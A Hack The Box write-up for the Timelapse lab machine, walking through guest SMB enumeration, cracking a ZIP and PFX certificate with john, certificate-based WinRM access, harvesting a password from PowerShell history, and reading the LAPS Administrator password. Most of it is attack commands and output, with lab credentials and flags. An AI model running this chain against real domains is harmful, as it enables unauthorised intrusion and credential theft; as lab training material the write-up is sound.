Byte JMP
Timelapse: PFX Cracking to LAPS

Timelapse: PFX Cracking to LAPS

Hack The Box write-up for the Timelapse machine. Anonymous SMB exposes a password-protected WinRM certificate backup, cracked to gain a foothold over TLS, PowerShell console history leaks a service account, and LAPS_Readers membership hands over the local Administrator password.

·11 min read

Initial Reconnaissance – Port Scanning

The assessment began with a service-version scan against 10.129.227.113, host discovery disabled (-Pn) and aggressive timing (-T4):

$ nmap -sV -Pn -T4 10.129.227.113
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-05 03:20 -0300
Nmap scan report for 10.129.227.113
Host is up (0.16s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-05 14:20:09Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: timelapse.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5986/tcp open  ssl/wsmans?
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

The fingerprint is a standard domain controller: DNS (53), Kerberos (88), RPC (135), SMB (139/445), LDAP (389/3268), and Kerberos password change (464). The LDAP banner leaks the domain (timelapse.htb) and the host (DC01).

The one detail worth flagging early is port 5986, ssl/wsmans. That is WinRM over HTTPS, not the plain-text 5985 seen on most boxes. Whatever gets us a shell later will have to speak TLS, which means every evil-winrm invocation from here on needs the -S flag.

Domain and hostname go into /etc/hosts:

10.129.227.113  timelapse.htb DC01.timelapse.htb

Domain Enumeration

445/tcp – SMB Null and Guest Sessions

A null session is accepted (Null Auth: True) but gives up nothing on its own. Share enumeration is denied:

$ nxc smb 10.129.227.113 -u '' -p '' --shares
SMB         10.129.227.113  445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.227.113  445    DC01             [+] timelapse.htb\:
SMB         10.129.227.113  445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED

As on a lot of 2019 DCs, the built-in guest account is enabled and, unlike the pure null session, it is allowed to talk to the SAM/LSA interfaces. Authenticating as guest with an empty password works, and a RID cycle then walks the whole domain:

$ nxc smb 10.129.227.113 -u 'guest' -p '' --rid-brute
SMB         10.129.227.113  445    DC01             [+] timelapse.htb\guest:
SMB         10.129.227.113  445    DC01             500: TIMELAPSE\Administrator (SidTypeUser)
SMB         10.129.227.113  445    DC01             501: TIMELAPSE\Guest (SidTypeUser)
SMB         10.129.227.113  445    DC01             502: TIMELAPSE\krbtgt (SidTypeUser)
...
SMB         10.129.227.113  445    DC01             1601: TIMELAPSE\thecybergeek (SidTypeUser)
SMB         10.129.227.113  445    DC01             1602: TIMELAPSE\payl0ad (SidTypeUser)
SMB         10.129.227.113  445    DC01             1603: TIMELAPSE\legacyy (SidTypeUser)
SMB         10.129.227.113  445    DC01             1604: TIMELAPSE\sinfulz (SidTypeUser)
SMB         10.129.227.113  445    DC01             1605: TIMELAPSE\babywyrm (SidTypeUser)
SMB         10.129.227.113  445    DC01             1606: TIMELAPSE\DB01$ (SidTypeUser)
SMB         10.129.227.113  445    DC01             1607: TIMELAPSE\WEB01$ (SidTypeUser)
SMB         10.129.227.113  445    DC01             1608: TIMELAPSE\DEV01$ (SidTypeUser)
SMB         10.129.227.113  445    DC01             2601: TIMELAPSE\LAPS_Readers (SidTypeGroup)
SMB         10.129.227.113  445    DC01             3101: TIMELAPSE\Development (SidTypeGroup)
SMB         10.129.227.113  445    DC01             3102: TIMELAPSE\HelpDesk (SidTypeGroup)
SMB         10.129.227.113  445    DC01             3103: TIMELAPSE\svc_deploy (SidTypeUser)

Three custom objects stand out for later: the LAPS_Readers group, a svc_deploy service account, and the Development / HelpDesk groups. LAPS_Readers in particular is a loud hint: LAPS is in play, and whoever lands in that group can read the managed local Administrator password.

445/tcp – Readable Shares

The guest session can also list shares, and this time a non-default Shares is readable:

$ nxc smb 10.129.227.113 -u 'guest' -p '' --shares
SMB         10.129.227.113  445    DC01             Share           Permissions     Remark
SMB         10.129.227.113  445    DC01             -----           -----------     ------
SMB         10.129.227.113  445    DC01             ADMIN$                          Remote Admin
SMB         10.129.227.113  445    DC01             C$                              Default share
SMB         10.129.227.113  445    DC01             IPC$            READ            Remote IPC
SMB         10.129.227.113  445    DC01             NETLOGON                        Logon server share
SMB         10.129.227.113  445    DC01             Shares          READ
SMB         10.129.227.113  445    DC01             SYSVOL                          Logon server share

Browsing Shares with the guest account turns up two directories, Dev and HelpDesk:

$ smbclient \\\\timelapse.htb\\Shares -U 'guest'
Password for [WORKGROUP\guest]:
smb: \> ls
  .                                   D        0  Mon Oct 25 12:39:15 2021
  ..                                  D        0  Mon Oct 25 12:39:15 2021
  Dev                                 D        0  Mon Oct 25 16:40:06 2021
  HelpDesk                            D        0  Mon Oct 25 12:48:42 2021

Dev holds a single, promising file: a password-protected ZIP called winrm_backup.zip:

smb: \> cd Dev
smb: \Dev\> ls
  winrm_backup.zip                    A     2611  Mon Oct 25 12:46:42 2021
smb: \Dev\> get winrm_backup.zip

HelpDesk is stuffed with LAPS material: the installer and the full documentation set. This corroborates the LAPS_Readers group from the RID brute and confirms the privilege-escalation path the box wants us to take:

smb: \> cd HelpDesk
smb: \HelpDesk\> dir
  LAPS.x64.msi                        A  1118208  Mon Oct 25 11:57:50 2021
  LAPS_Datasheet.docx                 A   104422  Mon Oct 25 11:57:46 2021
  LAPS_OperationsGuide.docx           A   641378  Mon Oct 25 11:57:40 2021
  LAPS_TechnicalSpecification.docx    A    72683  Mon Oct 25 11:57:44 2021

The name winrm_backup.zip plus WinRM-over-TLS on 5986 is a strong signal: the archive most likely contains the certificate material used to authenticate to WinRM. That is the foothold.

Foothold – Cracking the WinRM Backup

Cracking the ZIP

The archive is encrypted, so it needs to be cracked before anything inside is reachable:

$ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:

zip2john extracts the ZIP's password hash, and john cracks it against rockyou.txt in under a second:

$ zip2john winrm_backup.zip > hash.txt

$ john --format=PKZIP hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
supremelegacy    (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2026-09-05 03:34) 2.941g/s 10215Kp/s
Session completed.

ZIP password: supremelegacy. Extracting the archive drops a single PFX bundle, legacyy_dev_auth.pfx:

$ unzip winrm_backup.zip
Archive:  winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
  inflating: legacyy_dev_auth.pfx

The filename tells the story on its own: this is the client-authentication certificate for the legacyy user, exactly the kind of material evil-winrm can use to log in over TLS.

Cracking the PFX

A PFX (PKCS#12) container bundles the certificate and its private key, and it is protected by its own password, separate from the ZIP. Same routine: pfx2john to produce a hash, then john. This one is slower because of the PKCS#12 key-derivation iterations, but it still falls to rockyou.txt:

$ pfx2john legacyy_dev_auth.pfx > cert-hash.txt

$ john --format=PFX cert-hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
thuglegacy       (legacyy_dev_auth.pfx)
1g 0:00:00:17 DONE (2026-09-05 04:00) 0.05878g/s 189990p/s
Session completed.

PFX password: thuglegacy.

Extracting the Certificate and Key

With the container password known, openssl splits the PFX into the two files evil-winrm expects: a PEM certificate and an unencrypted PEM private key. Both openssl commands prompt for the import password (thuglegacy):

$ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out publicCert.pem
Enter Import Password:

$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
Enter Import Password:

-nodes on the second command is what leaves the key unencrypted on disk, so evil-winrm can load it without another passphrase prompt.

WinRM over TLS with a Client Certificate

Now the earlier note about port 5986 pays off. Instead of a username and password, evil-winrm authenticates with the certificate/key pair, and -S forces the TLS transport that the SSL WinRM endpoint requires:

$ evil-winrm -i 10.129.227.113 -c publicCert.pem -k priv-key.pem -S

Evil-WinRM shell v3.9

Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents>

The certificate maps to legacyy, and the user flag is on the desktop:

*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy

*Evil-WinRM* PS C:\Users\legacyy\Desktop> cat user.txt
9fb717ed8d7342995d9bdf05c6eda9ae

Lateral Movement – svc_deploy

legacyy has an unremarkable token. No SeImpersonate, no interesting privileges, just membership in the Development group:

*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami /priv

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Nothing to chain locally, so the next place to look is what this user has been doing. PowerShell keeps a persistent, per-user command history in ConsoleHost_history.txt under the PSReadLine profile directory, and it is a reliable spot for leaked secrets:

*Evil-WinRM* PS C:\Users\legacyy> cat C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit

The history captures someone building a PSCredential for svc_deploy and using it against the local 5986 endpoint, with the cleartext password left inline: E3R$Q62^12p7PLlC%KWaxuaV.

Those credentials get a shell directly, again over TLS with -S:

$ evil-winrm -i 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

Evil-WinRM shell v3.9

Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>

The reason svc_deploy matters is in its group membership. It is a member of LAPS_Readers:

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /all

USER INFORMATION
----------------
User Name            SID
==================== ============================================
timelapse\svc_deploy S-1-5-21-671920749-559770252-3318990721-3103

GROUP INFORMATION
-----------------
Group Name                                  Type   SID
=========================================== ====== ============================================
BUILTIN\Remote Management Users             Alias  S-1-5-32-580
TIMELAPSE\LAPS_Readers                      Group  S-1-5-21-671920749-559770252-3318990721-2601
...

That single group membership is the entire privilege-escalation path.

Privilege Escalation – LAPS

LAPS (Local Administrator Password Solution) randomizes and rotates the built-in Administrator password on each machine and stores the current value in a confidential attribute (ms-Mcs-AdmPwd) on the computer object in AD. The attribute is not world-readable. Only principals explicitly granted the read right can see it, and on this domain that right is delegated to the LAPS_Readers group. Because svc_deploy is a member, it can pull the DC's local Administrator password straight out of the directory.

The install is confirmed by the CSE DLL on disk:

*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-ChildItem 'C:\Program Files\LAPS\CSE\AdmPwd.dll'

    Directory: C:\Program Files\LAPS\CSE

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         5/5/2021   7:04 AM         184232 AdmPwd.dll

NetExec's laps module reads the attribute in one shot:

$ nxc ldap 10.129.227.113 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
LDAP        10.129.227.113  389    DC01             [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS        10.129.227.113  389    DC01             [*] Getting LAPS Passwords
LAPS        10.129.227.113  389    DC01             Computer:DC01$ User:                Password:SlSp!aK28Yn1#XW;,1936fNs

The same value comes back through Impacket's GetLAPSPassword, which is handy if NetExec is not around:

$ impacket-GetLAPSPassword timelapse.htb/'svc_deploy':'E3R$Q62^12p7PLlC%KWaxuaV' -dc-ip 10.129.227.113
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

Host   LAPS Username  LAPS Password             LAPS Password Expiration  LAPSv2
-----  -------------  ------------------------  ------------------------  ------
DC01$  N/A            SlSp!aK28Yn1#XW;,1936fNs  2026-09-10 11:17:54       False

That is the local Administrator password for DC01, SlSp!aK28Yn1#XW;,1936fNs, which is enough for a full-privilege WinRM session:

$ evil-winrm -i 10.129.227.113 -u 'Administrator' -p 'SlSp!aK28Yn1#XW;,1936fNs' -S

Evil-WinRM shell v3.9

Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Flag Collection – Root Flag

The root flag lives on the TRX user's desktop rather than Administrator's, but with full access to the box that is a cat away:

*Evil-WinRM* PS C:\Users\TRX\Desktop> dir

    Directory: C:\Users\TRX\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         9/5/2026   7:18 AM             34 root.txt

*Evil-WinRM* PS C:\Users\TRX\Desktop> cat root.txt
a7f470b0ccab527e6a73221e413134a9

Full compromise of the domain controller.

Conclusion

Timelapse is a clean, misconfiguration-driven chain with no web surface. Anonymous access does most of the initial legwork: the guest account both enumerates the domain and reads a share it should not. Everything after that is credential material left where it shouldn't be: a cracked certificate backup, a password pasted into PowerShell history, and a LAPS read delegated to a reachable service account.

The route in full:

guest (empty pw) -> RID brute + readable Shares
   -> winrm_backup.zip -> zip crack (supremelegacy)
   -> legacyy_dev_auth.pfx -> pfx crack (thuglegacy)
   -> cert-based WinRM over 5986 (-S) -> legacyy -> user.txt
   -> PSReadLine history -> svc_deploy password
   -> svc_deploy in LAPS_Readers -> read ms-Mcs-AdmPwd
   -> local Administrator password -> root.txt

References

  1. Evil-WinRM — WinRM shell used throughout; the -c/-k flags handle certificate authentication and -S selects the TLS transport for port 5986.
  2. John the Ripper — zip2john / pfx2john — Used to extract crackable hashes from the encrypted ZIP and the PKCS#12 container.
  3. Microsoft — Local Administrator Password Solution (LAPS) — Background on the ms-Mcs-AdmPwd attribute and the delegated read model abused here.
  4. NetExec — LAPS module — Reads the managed password over LDAP for any account with the read right.
  5. Impacket — GetLAPSPassword — Alternative LAPS reader used to confirm the password.
  6. The Hacker Recipes — LAPS — Details on the ACL/extended right that governs who can read LAPS passwords.
  7. Microsoft — PSReadLine command history — Documents the persistent ConsoleHost_history.txt file that leaked the svc_deploy credentials.